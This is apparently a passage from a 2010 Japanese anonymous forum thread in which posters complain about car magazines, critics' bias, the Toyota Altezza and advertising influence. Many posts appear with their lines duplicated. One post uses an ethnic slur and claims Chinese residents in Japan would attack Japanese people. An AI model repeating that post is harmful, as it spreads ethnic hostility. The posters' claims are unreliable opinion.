日本車に対して厳しいですよ…（自国のクルマはそれ以下なのに）
そういうところまでパクッています
マーチのコストダウンとか、プリウスの欠陥の話まで記事にしてます。
どっかの翻訳のまんまだと思いますが、ちょっと恣意的で
昨今の日中関係のまんまの雰囲気です。
中国のクルマ雑誌を読んでいますと
欧州のクルマ雑誌、日本のクルマ雑誌と同じく
日本車に対して厳しいですよ…（自国のクルマはそれ以下なのに）
そういうところまでパクッています
マーチのコストダウンとか、プリウスの欠陥の話まで記事にしてます。
どっかの翻訳のまんまだと思いますが、ちょっと恣意的で
昨今の日中関係のまんまの雰囲気です。
668 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 22:56:34 ID:a5FZMzEq0
>>657
家に1978年度版の間違いだらけ～があるけど、確かにあれは素晴らしいものだと思う。
失うものが無い立場だから書けたことだと思うけどね。
まぁ…今ならあの程度のことは、みんカラかblogで誰か書いてるわけですけど。
>>664
70年代の日本車と独車を最近乗り比べる機会があったけど、550の軽と現行の軽くらいの
出来の違いを感じた。そりゃ当時のCGを見ればああなってるわけですよ、うん
家に1978年度版の間違いだらけ～があるけど、確かにあれは素晴らしいものだと思う。
失うものが無い立場だから書けたことだと思うけどね。
まぁ…今ならあの程度のことは、みんカラかblogで誰か書いてるわけですけど。
>>664
70年代の日本車と独車を最近乗り比べる機会があったけど、550の軽と現行の軽くらいの
出来の違いを感じた。そりゃ当時のCGを見ればああなってるわけですよ、うん
669 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 23:21:28 ID:srH6p5D70
670 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 23:27:10 ID:vhMnE/K00
実際どんな中国人が銀座や秋葉ウロウロしてるか知らないだろ。
671 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 23:36:19 ID:YZATOLTM0
正直あんまり知りたくもないけど
672 ：名無しさん＠そうだドライブへ行こう：2010/10/01(金) 01:30:47 ID:ulkbOWlaP
日本には現在１００万人の支那人がいる
紛争になったらこいつらが一斉に日本人に襲い掛かるから
支那の長野聖火リレーでの組織的暴挙は絶対に忘れない・・・
紛争になったらこいつらが一斉に日本人に襲い掛かるから
支那の長野聖火リレーでの組織的暴挙は絶対に忘れない・・・
673 ：名無しさん＠そうだドライブへ行こう：2010/10/01(金) 01:36:57 ID:RFjfE9Bj0
みんカラやブログはDIYだの小技だのの草の根情報の羅列か、
ありきたりなひとこと感想がせいぜい。
車を無茶苦茶に、しかし面白おかしく書く才に長けていた徳とはさすがに比べられんよ。
ありきたりなひとこと感想がせいぜい。
車を無茶苦茶に、しかし面白おかしく書く才に長けていた徳とはさすがに比べられんよ。
674 ：名無しさん＠そうだドライブへ行こう：2010/10/01(金) 02:40:35 ID:XQidVqKkO
こないだネコパブの某欧州メーカー専門誌買ったけど
ありえないくらい中身薄っぺらいものに成り下がってたな・・・
勢いあった編集部員もいなくなってくし
食っていけないのか？
本当に業界もうだめなのか？
ありえないくらい中身薄っぺらいものに成り下がってたな・・・
勢いあった編集部員もいなくなってくし
食っていけないのか？
本当に業界もうだめなのか？
675 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 02:37:05 ID:invG4/ND0
カーグラみたいな中身のないカタログ写真みたいな雑誌もお断りだが
ザッカーみたいな試乗もまともに出来ない奴の記事読まされるのも苦痛だね
某軽自動車の試乗記事読んだ後で実際試乗した時に「あいつマジで試乗して書いてるのか？」って思ったよ
ロールは気にならないとか書いてたけど交差点普通に曲がっても盛大にロールしてたし
ここでは批判も多いけどそれについて書いてたのはマガジンXの総括だけだったな
ザッカーみたいな試乗もまともに出来ない奴の記事読まされるのも苦痛だね
某軽自動車の試乗記事読んだ後で実際試乗した時に「あいつマジで試乗して書いてるのか？」って思ったよ
ロールは気にならないとか書いてたけど交差点普通に曲がっても盛大にロールしてたし
ここでは批判も多いけどそれについて書いてたのはマガジンXの総括だけだったな
676 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 03:02:33 ID:yeP19qiGP
なるほどXaCarの記事は雑か
677 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 08:56:11 ID:J3Ujk2pV0
どうせだれも読まないし、という諦念すら感じるね。
678 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 09:04:51 ID:LK3KsvF/0
もう自動車雑誌自体が誰特だよな。
679 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 09:09:21 ID:ecv4X2bJ0
クルマの品質や挙動云々が基本で実際のユーザー側のニーズを完全に無視した構成だからね
680 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 09:20:59 ID:NCfixPm70
681 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 11:33:33 ID:QNLfhMEW0
以前、コペンのインプレで「狭い」と言い出す評論家がいたのにはたまげた。
682 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 12:27:47 ID:c2zDOw3B0
>>679
ファミリーセダンサーキットに持ち込んでコロナ、ブルーバード対決みたいなこと未だにやってるんだからね
もうメーカーも高級車にターボ乗せるような子供相手の商売から手を引いてるのにターボが欲しいだのｗ
>>681
フイタｗ
ファミリーセダンサーキットに持ち込んでコロナ、ブルーバード対決みたいなこと未だにやってるんだからね
もうメーカーも高級車にターボ乗せるような子供相手の商売から手を引いてるのにターボが欲しいだのｗ
>>681
フイタｗ
683 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 12:34:36 ID:ce3rHjH+0
>>681
国沢とかだったら体が入らないし
国沢とかだったら体が入らないし
684 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 12:34:57 ID:NCfixPm70
685 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 12:44:56 ID:c2zDOw3B0
>>684
FT-86ってそんな感じだねｗ
最初は200万程度なんて言われてたけど今じゃ250万レベルの車みたいだし
この手のFRのベンチマークはS15シルビアとかRX-8とかだからノンターボで出しても即死だと思う
ホンダエンジン積んでれば別だけどｗ
1300キロギリギリで切ったところで200馬力程度（実際は170くらい？）じゃ話にならない
で自動車雑誌としては発売当初は「現代の86、FRサイコー」、
半年後には「パワーが足りない、足回りが煮詰まってない、高い」だのフルボッコと予想するが
FT-86ってそんな感じだねｗ
最初は200万程度なんて言われてたけど今じゃ250万レベルの車みたいだし
この手のFRのベンチマークはS15シルビアとかRX-8とかだからノンターボで出しても即死だと思う
ホンダエンジン積んでれば別だけどｗ
1300キロギリギリで切ったところで200馬力程度（実際は170くらい？）じゃ話にならない
で自動車雑誌としては発売当初は「現代の86、FRサイコー」、
半年後には「パワーが足りない、足回りが煮詰まってない、高い」だのフルボッコと予想するが
686 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 13:15:23 ID:ecv4X2bJ0
ALTEZZAを思い出すと胸が熱くなる
実に可哀想なクルマだった
実に可哀想なクルマだった
687 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 14:23:30 ID:LK3KsvF/0
いやー、実際ヘボだし
とても同情できるようなクルマじゃないぞ。
とても同情できるようなクルマじゃないぞ。
688 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 14:35:27 ID:c2zDOw3B0
結局アルテを自腹で買ったのって伏木くらいだろうな
その後S2000に乗り換えたようだがｗ
伏木もアルテのステアリングの赤ステッチが気に入らないとか意味不明なことを言って
トヨタにワンオフでステアリング作らせて自慢してた覚えが・・・
そんなに嫌ならMOMOでも自分で交換するのが筋だわな
その後S2000に乗り換えたようだがｗ
伏木もアルテのステアリングの赤ステッチが気に入らないとか意味不明なことを言って
トヨタにワンオフでステアリング作らせて自慢してた覚えが・・・
そんなに嫌ならMOMOでも自分で交換するのが筋だわな
689 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 15:26:52 ID:yeP19qiGP
アルテは普通の乗用車としては優秀だよ
８６の再来とか言ってた評論家がバカなだけでｗ
８６の再来とか言ってた評論家がバカなだけでｗ
690 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 15:29:14 ID:c2zDOw3B0
691 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 15:30:02 ID:YGMFJ3Xy0
国沢もアルテのAS200買ってなかったか？
一応他とは一線を画して、現代版メルセデス１９０Eのつもりだったようだが。
とにかくアルテはひどかったな。
俺も雑誌に煽られてすんごく期待して、滅多にいかない新車試乗会に出かけて。
ハンドル一発切った途端に、やっぱりトヨタだからな・・・と思い知らされた。
その後（前だったか？）プログレが出て、あーこっちが本家本元なのねと。
一応他とは一線を画して、現代版メルセデス１９０Eのつもりだったようだが。
とにかくアルテはひどかったな。
俺も雑誌に煽られてすんごく期待して、滅多にいかない新車試乗会に出かけて。
ハンドル一発切った途端に、やっぱりトヨタだからな・・・と思い知らされた。
その後（前だったか？）プログレが出て、あーこっちが本家本元なのねと。
692 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 16:17:04 ID:LK3KsvF/0
プログレは素晴らしい車だったのにね。
うちの会社でまだまだ大事に乗ってる人がいるよ。
うちの会社でまだまだ大事に乗ってる人がいるよ。
693 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 16:21:03 ID:LK3KsvF/0
694 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 16:22:48 ID:LK3KsvF/0
うは、ひでぇ誤爆しちまったｗ
そういやアルテに3S載せたのは日本だけらしいね。
と、言い繕ってみる。
そういやアルテに3S載せたのは日本だけらしいね。
と、言い繕ってみる。
695 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 18:03:01 ID:Iyp+uOSY0
>694
などと意味不明な供述を繰り返しており
捜査本部は余罪について追及していく方針とのことです。
などと意味不明な供述を繰り返しており
捜査本部は余罪について追及していく方針とのことです。
696 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 18:33:22 ID:R94L2BCh0
オートジョンブルが一番好きだったなあ
DC5登場時、各誌絶賛の中、特集組んでパーツ単位で叩いて叩いて叩きまくったのには笑った
DC5登場時、各誌絶賛の中、特集組んでパーツ単位で叩いて叩いて叩きまくったのには笑った
697 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 18:45:51 ID:c2zDOw3B0
パーツ単位って言ってもストラットだからダメとかそういうレベルでしょどーせ
698 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 18:57:46 ID:LK3KsvF/0
雑誌がクルマ叩くって純粋にクルマの出来じゃなくて
大抵>>662みたいなベクトルが掛かってるよな。
大抵>>662みたいなベクトルが掛かってるよな。
699 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 19:07:47 ID:V3i8DA7V0
ベクトル？
700 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 19:12:44 ID:c2zDOw3B0
たとえばパイザーとデミオは同じ頃に出て最初は明らかにパイザーの出来の良さを誉めてた
しかしデミオが馬鹿売れしてパイザーが負け組になった途端デミオを持ち上げ始めた
昔で言えばプリメーラなんかも売れたから評論家が持ち上げた車の典型だわな
しかしデミオが馬鹿売れしてパイザーが負け組になった途端デミオを持ち上げ始めた
昔で言えばプリメーラなんかも売れたから評論家が持ち上げた車の典型だわな
701 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 19:20:02 ID:LK3KsvF/0
パイザー懐かしいなぁ。
CMにアグネス・ラム使ってたよね。
CMにアグネス・ラム使ってたよね。
702 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 20:50:51 ID:R94L2BCh0
703 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 20:58:39 ID:jGKhEMqf0
なんでCG・MM・ルボランが一斉にポルシェ特集やってるの？
704 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 21:22:36 ID:MIJeGxhB0
ポルシェの宣伝部が御接待したからじゃないの
705 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 21:55:07 ID:745Ih3qm0
ポルシェを褒めれば知ったかぶり出来るって事で特集したんじゃないのｗ
書く事無いんだろう・・・
その3誌の中でオフロードラリーに出ているカイエンを本気で特集した雑誌はあるか？
無ければ書き手の知識の偏りがバレる
ってゆーか俺ポルシェって嫌い,あのデザインというかポルシェ顔が好きになれない
評論家がポルシェをベタ褒め記事ばっかり書くせいで他所では言えないけどなｗ
車としてポルシェがダメとまでは思いませんがどうしてもあの顔だけは嫌い
こういう事を言えない所が車雑誌のダメな所,だから売れなくなるのでは？と思う
書く事無いんだろう・・・
その3誌の中でオフロードラリーに出ているカイエンを本気で特集した雑誌はあるか？
無ければ書き手の知識の偏りがバレる
ってゆーか俺ポルシェって嫌い,あのデザインというかポルシェ顔が好きになれない
評論家がポルシェをベタ褒め記事ばっかり書くせいで他所では言えないけどなｗ
車としてポルシェがダメとまでは思いませんがどうしてもあの顔だけは嫌い
こういう事を言えない所が車雑誌のダメな所,だから売れなくなるのでは？と思う
706 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 21:58:16 ID:NCfixPm70
こう言っちゃナンだけど、「なんだか知らんけどあの顔が嫌い」じゃ
読者コーナーにすら載りませんよ。
読者コーナーにすら載りませんよ。
707 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 21:58:49 ID:LK3KsvF/0
アルファの記事もそんな傾向があるな。
8CやらMiToって75やらが好きな層にとっては
キモいだけとしか思えんのに何でもかんでもベタ褒めしとるしな。
8CやらMiToって75やらが好きな層にとっては
キモいだけとしか思えんのに何でもかんでもベタ褒めしとるしな。
708 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 23:07:09 ID:KK2g6I8e0
所詮、メーカーの宣伝の一部。
それを金を出して買わせてきたのが、自動車雑誌。
ネットで捏造記事の正体がばれて、誰も信用しなくなった。
売れなくなって、当たり前。天罰だよ！
長い目で見れば、「正直が一番」おばあちゃんは正しかった！
それを金を出して買わせてきたのが、自動車雑誌。
ネットで捏造記事の正体がばれて、誰も信用しなくなった。
売れなくなって、当たり前。天罰だよ！
長い目で見れば、「正直が一番」おばあちゃんは正しかった！
709 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 23:08:08 ID:745Ih3qm0
>>706
トヨタ車のデザイン叩きは、どこの車雑誌でもよく載ってるけど何か違うのか？
ポルシェだと否定的な意見は無視される,でもトヨタだと批判ばっかり
車好きなら良い車だと思っていてもトヨタ車を避けてしまう感覚があるのはわかるが
ポルシェや>>707さんも言ってるアルファだとベタ褒めというのでは基準が見えない
それならポルシェやアルファを好きになれないという意見も無視しないでくれ
アルファのMiToも雑誌では褒めた意見しか見ないですけど
あんなのよりデミオの方が好きと言っても雑誌からは黙殺されるのがオチだ
シトロエン･C5も趣味の車としては面白いけどクラウンやフーガの方が乗りやすい
あとダッジ・チャージャーに「楽しい」って連呼するのはもう聞き飽きた
トヨタ車のデザイン叩きは、どこの車雑誌でもよく載ってるけど何か違うのか？
ポルシェだと否定的な意見は無視される,でもトヨタだと批判ばっかり
車好きなら良い車だと思っていてもトヨタ車を避けてしまう感覚があるのはわかるが
ポルシェや>>707さんも言ってるアルファだとベタ褒めというのでは基準が見えない
それならポルシェやアルファを好きになれないという意見も無視しないでくれ
アルファのMiToも雑誌では褒めた意見しか見ないですけど
あんなのよりデミオの方が好きと言っても雑誌からは黙殺されるのがオチだ
シトロエン･C5も趣味の車としては面白いけどクラウンやフーガの方が乗りやすい
あとダッジ・チャージャーに「楽しい」って連呼するのはもう聞き飽きた
710 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 23:13:58 ID:NCfixPm70
711 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 23:43:18 ID:jvL+1kuz0
マガジンX
今月号もまったく売れてない
あの中身じゃなｗ
今月号もまったく売れてない
あの中身じゃなｗ
712 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 23:46:10 ID:745Ih3qm0
>>710
ポルシェを批判してるんじゃなくて車雑誌がポルシェを好きになれない人の意見を
黙殺する事を批判してるだけ
トヨタ叩きしてる人の意見だけ扱ってポルシェはベタ褒めっておかしいだろう
俺はポルシェが好みでないだけ,でもその意見は無視されてトヨタ嫌いは扱われる
評論家に多いのは値段考えないでポルシェをベタ褒めというパターン
日産だってシルビアを1000万円で売って良いなら(買ってくれるなら)
ポルシェに負けない車を作れると思うのだがそのあたりの値段は無視する
ポルシェを批判してるんじゃなくて車雑誌がポルシェを好きになれない人の意見を
黙殺する事を批判してるだけ
トヨタ叩きしてる人の意見だけ扱ってポルシェはベタ褒めっておかしいだろう
俺はポルシェが好みでないだけ,でもその意見は無視されてトヨタ嫌いは扱われる
評論家に多いのは値段考えないでポルシェをベタ褒めというパターン
日産だってシルビアを1000万円で売って良いなら(買ってくれるなら)
ポルシェに負けない車を作れると思うのだがそのあたりの値段は無視する
713 ：名無しさん＠そうだドライブへ行こう：2010/10/02(土) 23:59:46 ID:tNR/q5j/0
>>709
クラウンってマツダデザインの出来損ないみたいなヤツの事？ｗ
>日産だってシルビアを1000万円で売って良いなら(買ってくれるなら)
日産にそこまでブランドも技術もないよｗ
あるならとっくに作って売ってる。
ないからシルビアはなくなって、ヒュンダイ、ジェネシスにお株を奪われてるｗｗ
クラウンってマツダデザインの出来損ないみたいなヤツの事？ｗ
>日産だってシルビアを1000万円で売って良いなら(買ってくれるなら)
日産にそこまでブランドも技術もないよｗ
あるならとっくに作って売ってる。
ないからシルビアはなくなって、ヒュンダイ、ジェネシスにお株を奪われてるｗｗ
714 ：名無しさん＠そうだドライブへ行こう：2010/10/03(日) 00:23:35 ID:eTh2QM2x0
715 ：名無しさん＠そうだドライブへ行こう：2010/10/03(日) 03:21:47 ID:LS9uR+6h0
>>712
それ具体的に何て雑誌だよ。
デザインは好き嫌いによるとこ大だから雑誌もデザイン評はほとんどしていない。
「こっちが好きです」と一読者が主張したって「はあそうですか」で終わりだろ？
べた褒めというならGT-RもIS-Fもそうだったの見ただろう。
なぜそうなのか、それはポルシェを筆頭に「乗るといいから」だよ。
免許ないんだろうけど取って慣れたら国産だけでいいから自分で乗り比べてみ。
それ具体的に何て雑誌だよ。
デザインは好き嫌いによるとこ大だから雑誌もデザイン評はほとんどしていない。
「こっちが好きです」と一読者が主張したって「はあそうですか」で終わりだろ？
べた褒めというならGT-RもIS-Fもそうだったの見ただろう。
なぜそうなのか、それはポルシェを筆頭に「乗るといいから」だよ。
免許ないんだろうけど取って慣れたら国産だけでいいから自分で乗り比べてみ。
716 ：名無しさん＠そうだドライブへ行こう：2010/10/03(日) 08:46:58 ID:hwL30zDp0
>712
> 日産だってシルビアを1000万円で売って良いなら(買ってくれるなら)
> ポルシェに負けない車を作れると思うのだがそのあたりの値段は無視する
シルビアじゃなくて、ＧＴ－Ｒがあるじゃないか。
> 日産だってシルビアを1000万円で売って良いなら(買ってくれるなら)
> ポルシェに負けない車を作れると思うのだがそのあたりの値段は無視する
シルビアじゃなくて、ＧＴ－Ｒがあるじゃないか。
717 ：名無しさん＠そうだドライブへ行こう：2010/10/03(日) 10:30:52 ID:ZBRp5k6m0
また釣り師か・・・
でしつこく、粘着して荒らすのね
でしつこく、粘着して荒らすのね
718 ：名無しさん＠そうだドライブへ行こう：2010/10/03(日) 13:16:32 ID:iACwH+hDO
>>679
「知識人は大衆の原型(プロトタイプ)」ならぬ、
「自動車評論家は車オタクの原型」だからなぁ…
居るのは車オタクばかりで、自動車評論家と呼べる人は殆ど居ないんじゃないの?
>>684
意外と乗せられちゃうんだなw(汗<トヨタ
車オタクの意見なんて無視しとけばいいのに…
「知識人は大衆の原型(プロトタイプ)」ならぬ、
「自動車評論家は車オタクの原型」だからなぁ…
居るのは車オタクばかりで、自動車評論家と呼べる人は殆ど居ないんじゃないの?
>>684
意外と乗せられちゃうんだなw(汗<トヨタ
車オタクの意見なんて無視しとけばいいのに…
719 ：名無しさん＠そうだドライブへ行こう：2010/10/03(日) 13:35:58 ID:FYIgFSA80
FT-86に関して言えばトヨタの狙いは3ドアだと思うけどな
BM1シリみたいなのを狙ってるんでしょ
BM1シリみたいなのを狙ってるんでしょ
720 ：名無しさん＠そうだドライブへ行こう：2010/10/03(日) 13:54:43 ID:iACwH+hDO
>>690
高速教習で世話になった<アルテ(3S-GE＋5AT)
コンフォート(通常教習)→アルテだから、えらい速く感じたなw
JZ系直6のみにしとけば、「86の再来」などと勝手に祭り上げられることもなかったろうに…
(そもそもアルテはDセグメントだから、86と呼ぶには無理があると思うが)
まあ、レクサス・ISに一本化してアルテ消滅、エンジンはGR系V6のみだし、これでいいのか…
>>705
ポルシェは911(Type996)でエンジン周りの欠陥をガン無視したってのがなぁ…
(シリンダーヘッドにクラックが入る、ライナーは抜け落ちる、
インターミディエイトシャフトは真ん中からヒビが入る、という)
評論家でアレを指摘した人っているの?
高速教習で世話になった<アルテ(3S-GE＋5AT)
コンフォート(通常教習)→アルテだから、えらい速く感じたなw
JZ系直6のみにしとけば、「86の再来」などと勝手に祭り上げられることもなかったろうに…
(そもそもアルテはDセグメントだから、86と呼ぶには無理があると思うが)
まあ、レクサス・ISに一本化してアルテ消滅、エンジンはGR系V6のみだし、これでいいのか…
>>705
ポルシェは911(Type996)でエンジン周りの欠陥をガン無視したってのがなぁ…
(シリンダーヘッドにクラックが入る、ライナーは抜け落ちる、
インターミディエイトシャフトは真ん中からヒビが入る、という)
評論家でアレを指摘した人っているの?
721 ：名無しさん＠そうだドライブへ行こう：2010/10/03(日) 14:35:14 ID:LS9uR+6h0
その程度の「欠陥」なら国産含めどんな車にもある。
専門誌で読んだんだろ？古いポルシェはここが弱いと。
専門誌で読んだんだろ？古いポルシェはここが弱いと。
722 ：名無しさん＠そうだドライブへ行こう：2010/10/03(日) 14:44:47 ID:FYIgFSA80
そろそろ自動車雑誌もフリードスパイクで10日間車中泊レポートとかやれよ
車中泊にぴったりとかお前やったことねーだろｗ
車中泊にぴったりとかお前やったことねーだろｗ
723 ：名無しさん＠そうだドライブへ行こう：2010/10/03(日) 17:20:04 ID:dBfrIHjX0
>>720
そういう欠陥って新車で売ってる時代に指摘するかどうかってのが重要な気がする
プリウス(現行型)が出た時も評論家はベタ褒めばっかりでブレーキが利かないと
言った人は皆無
インサイトも売れてるからハイブリッドでもホンダらしさがあるなんて言ってるが
アレの乗り心地って硬くて突っ張った感じだと思う
デザインの話でいうとマークXが出た時にはドイツ車をパクリ過ぎ,R34GT-Rを若さが無いダサいと
言ってた評論家も車が売れてからは意見変えたな
評論家なんてこんなもん
そういう欠陥って新車で売ってる時代に指摘するかどうかってのが重要な気がする
プリウス(現行型)が出た時も評論家はベタ褒めばっかりでブレーキが利かないと
言った人は皆無
インサイトも売れてるからハイブリッドでもホンダらしさがあるなんて言ってるが
アレの乗り心地って硬くて突っ張った感じだと思う
デザインの話でいうとマークXが出た時にはドイツ車をパクリ過ぎ,R34GT-Rを若さが無いダサいと
言ってた評論家も車が売れてからは意見変えたな
評論家なんてこんなもん
724 ：名無しさん＠そうだドライブへ行こう：2010/10/03(日) 18:46:27 ID:iACwH+hDO
>>721
車メ板のスレ(インターミディエイトシャフトほにゃらら?)で知って、
AUTOCAR JAPAN vol.089 2010年10月号のユーズドカー・バイヤーズガイド(P116～117)でどの辺が壊れるのかを知った。
ちょいと検索してみたが、IMS破損については、996前期・後期、997前期で発生。
IMSが破損すると、エンジン動作不可→エンジン交換コース。
(ACJによると、新品では1万ポンドとのこと)
997後期ではIMSそのものを廃止したようだ。
リコールはまだ出ていないようだ。
>>723
確かに。
現行プリウスのブレーキ問題については詳しくは知らないが、アレは評論家の立場無ぇよなぁ…とオモタ。
(ユーザーの方が分かってるじゃん!っていう)
インサイトの乗り心地は結構言われてたような…
トランクだろうか?<マークXのデザイン
(バングル・バットbyクリス・バングル)
R34GT-Rは先祖がえり的なものを感じるw
(R33と比べて後退した、みたいな)
まあ、哲学とか信念とか、そういうものが欠落してるんだろうね…<評論家
車メ板のスレ(インターミディエイトシャフトほにゃらら?)で知って、
AUTOCAR JAPAN vol.089 2010年10月号のユーズドカー・バイヤーズガイド(P116～117)でどの辺が壊れるのかを知った。
ちょいと検索してみたが、IMS破損については、996前期・後期、997前期で発生。
IMSが破損すると、エンジン動作不可→エンジン交換コース。
(ACJによると、新品では1万ポンドとのこと)
997後期ではIMSそのものを廃止したようだ。
リコールはまだ出ていないようだ。
>>723
確かに。
現行プリウスのブレーキ問題については詳しくは知らないが、アレは評論家の立場無ぇよなぁ…とオモタ。
(ユーザーの方が分かってるじゃん!っていう)
インサイトの乗り心地は結構言われてたような…
トランクだろうか?<マークXのデザイン
(バングル・バットbyクリス・バングル)
R34GT-Rは先祖がえり的なものを感じるw
(R33と比べて後退した、みたいな)
まあ、哲学とか信念とか、そういうものが欠落してるんだろうね…<評論家
725 ：名無しさん＠そうだドライブへ行こう：2010/10/03(日) 19:51:14 ID:fYbG4qjh0
>723
> インサイトも売れてるからハイブリッドでもホンダらしさがあるなんて言ってるが
> アレの乗り心地って硬くて突っ張った感じだと思う
ＣＲ－Ｚと比べる時はそれを書いてるね、インサイトのデビュー時はともかくｗ
> インサイトも売れてるからハイブリッドでもホンダらしさがあるなんて言ってるが
> アレの乗り心地って硬くて突っ張った感じだと思う
ＣＲ－Ｚと比べる時はそれを書いてるね、インサイトのデビュー時はともかくｗ
726 ：名無しさん＠そうだドライブへ行こう：2010/10/03(日) 23:02:19 ID:7OhXQ9RDO
727 ：名無しさん＠そうだドライブへ行こう：2010/10/04(月) 10:40:31 ID:ReNeV8Jp0
三菱の時はたたき捲った雑誌はトヨタでは殆ど擁護
こんな物だろうと思う
こんな物だろうと思う
728 ：名無しさん＠そうだドライブへ行こう：2010/10/04(月) 12:52:22 ID:2uPt/+KP0
トヨタも結構叩かれてたけどな
理由は広告費削ったかららしいけどｗ
酷い世の中だねマスコミは
理由は広告費削ったかららしいけどｗ
酷い世の中だねマスコミは
729 ：名無しさん＠そうだドライブへ行こう：2010/10/04(月) 13:06:41 ID:fJAPTbXV0
三菱とトヨタでは叩かれ方が違って当然だろう
なんせ三菱は「横浜母子3人死傷事故」と「山口運転手死亡事故」の２つの事件で
業務上過失致死の有罪判決を受けてるんだから
なんせ三菱は「横浜母子3人死傷事故」と「山口運転手死亡事故」の２つの事件で
業務上過失致死の有罪判決を受けてるんだから
730 ：名無しさん＠そうだドライブへ行こう：2010/10/04(月) 13:12:00 ID:2uPt/+KP0
プリウスのブレーキ問題で後出しで「確かにブレーキに違和感があった」とか書いてたキチガイ居たなｗ
731 ：名無しさん＠そうだドライブへ行こう：2010/10/04(月) 13:52:31 ID:qBwBC4Ls0
>>727
三菱は謹慎として目立ったPRを自粛する,という事で広告撤退したから叩き捲られた
それ以降,車業界に限らず不祥事を起こした時は「お詫びの広告」を出すようになった
そうすれば三菱程は,叩かれない
マスコミがやってる事は完全にみかじめ料レベル
「ペンは剣よりも強し」と言うが今はヤクザな意味らしい
今,最も叩かれない企業といえばソフトバンク
金持ちが広告出し捲ればベタ褒めしてもらえます
三菱は謹慎として目立ったPRを自粛する,という事で広告撤退したから叩き捲られた
それ以降,車業界に限らず不祥事を起こした時は「お詫びの広告」を出すようになった
そうすれば三菱程は,叩かれない
マスコミがやってる事は完全にみかじめ料レベル
「ペンは剣よりも強し」と言うが今はヤクザな意味らしい
今,最も叩かれない企業といえばソフトバンク
金持ちが広告出し捲ればベタ褒めしてもらえます
732 ：名無しさん＠そうだドライブへ行こう：2010/10/04(月) 15:40:26 ID:grsqhsVq0
アルテの3SにSC積めば良かったのに。3Sを高回転仕様にしたのが間違い。
733 ：名無しさん＠そうだドライブへ行こう：2010/10/04(月) 17:03:18 ID:LqtsNF2yP
アルテは元々はレクサス向けの普通のＣセグメントセダンでしょ？
自然吸気の2.5㍑か3.0㍑エンジンとかが上級モデルとするなら似合うと思うんだ
3S載せるならせめてボディがレビントレノみたいなクーペHBタイプなら良かった
やはり日本では86の再来を煽ったのが良くなかったと思うな
自然吸気の2.5㍑か3.0㍑エンジンとかが上級モデルとするなら似合うと思うんだ
3S載せるならせめてボディがレビントレノみたいなクーペHBタイプなら良かった
やはり日本では86の再来を煽ったのが良くなかったと思うな
734 ：名無しさん＠そうだドライブへ行こう：2010/10/04(月) 17:06:01 ID:l3fCYYpz0
それ言うならたらS2000だって酷い扱いだった
735 ：名無しさん＠そうだドライブへ行こう：2010/10/04(月) 20:12:51 ID:imh9sWN/0
S2000のほうが全然マシだろ・・・
アルテはメーカーが売れないと見るや
熟成なんてそっちのけで放置して孤独死させたし
アルテはメーカーが売れないと見るや
熟成なんてそっちのけで放置して孤独死させたし
736 ：名無しさん＠そうだドライブへ行こう：2010/10/04(月) 20:35:58 ID:9FEi9q6x0
アルテはすぐ後でS15が出たのが致命傷
価格一緒で50馬力違うわ走りの質も違うわで
あの時のアルテの扱いは自動車評論家の程度の低さ証明してたね
価格一緒で50馬力違うわ走りの質も違うわで
あの時のアルテの扱いは自動車評論家の程度の低さ証明してたね
737 ：名無しさん＠そうだドライブへ行こう：2010/10/04(月) 20:38:10 ID:eoNezbhc0
アルテのキャッチコピーは笑ったな～
当時R34が
「ボディーは力だ」
をキャッチコピーに売り出して、直後デビューのアルテは
「ボディーは力じゃない」
ってまぁｗ
結局販売台数じゃどっちもどっちだったわけだがｗ
当時R34が
「ボディーは力だ」
をキャッチコピーに売り出して、直後デビューのアルテは
「ボディーは力じゃない」
ってまぁｗ
結局販売台数じゃどっちもどっちだったわけだがｗ
738 ：名無しさん＠そうだドライブへ行こう：2010/10/04(月) 21:36:34 ID:6uaYHgVk0
アルテは客層がよく分からなかったからね
3S＝若者、1G＝オッサンのつもりだったんだろうけどさ
CMでオッサンがダブルクラッチとかしてたけどｗ
今時の車でダブルクラッチとか「はぁ？」って感じだったわ
3S＝若者、1G＝オッサンのつもりだったんだろうけどさ
CMでオッサンがダブルクラッチとかしてたけどｗ
今時の車でダブルクラッチとか「はぁ？」って感じだったわ
739 ：名無しさん＠そうだドライブへ行こう：2010/10/04(月) 21:38:20 ID:eUU2RaxH0
